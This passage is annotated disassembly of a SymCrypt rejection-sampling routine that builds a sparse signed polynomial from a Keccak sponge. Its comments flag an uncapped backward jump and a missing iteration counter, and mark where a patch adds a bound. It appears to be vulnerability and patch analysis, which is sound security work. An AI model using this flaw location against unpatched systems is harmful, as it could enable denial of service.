&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a02e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xf0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a034&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x18002c640&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; memset(sponge, 0, 0xF0)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a039&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0xc8&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a03e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x88&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a045&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a04a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1f&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a04e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x180011840&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; SymCryptWipeAsm: init sponge&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a053&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; arg3 seed length&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a056&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-0x4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a05d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; arg2 seed&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a060&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a064&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a069&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x18002b65c&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; SymCryptKeccakAppend: absorb seed&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a06e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a071&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a075&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a07a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a07e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x18002b878&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; SymCryptKeccakExtract: 8 sign bytes&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a083&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; ctx.tau&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a087&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x100&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a08c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; r15 = sign bit reservoir&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a090&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; i = 0x100&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a092&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; i = 0x100 - tau&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a094&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a096&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x18002a100&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; if i &amp;gt;= 0x100, skip loop&lt;/span&gt;
&lt;span class="c1"&gt;; === UNCAPPED LOOP REGION =======================================&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a098&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; rdi -&amp;gt; poly[i]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a09c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="c1"&gt;; --- INNER LOOP (MISSING ITERATION COUNTER) ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x0&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; clear scratch byte&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0a6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;-- PATCH INSERTS cmp/jnb HERE&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0a9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0ae&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; r8 = 1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0b1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0b6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0x18002b878&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; SymCryptKeccakExtract(sponge,&amp;amp;j,1,0)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0bb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0c0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; byte j vs. index i&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0c2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ja&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x18002a0a6&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; *** UNCAPPED REJECT BACKWARD JUMP ***&lt;/span&gt;
&lt;span class="c1"&gt;; --- END INNER LOOP ---&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0c4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; jv = accepted byte&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0ca&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; rcx = next sign bit&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0d0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0d3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;neg&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0d6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; i += 1&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x18002a0d8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;
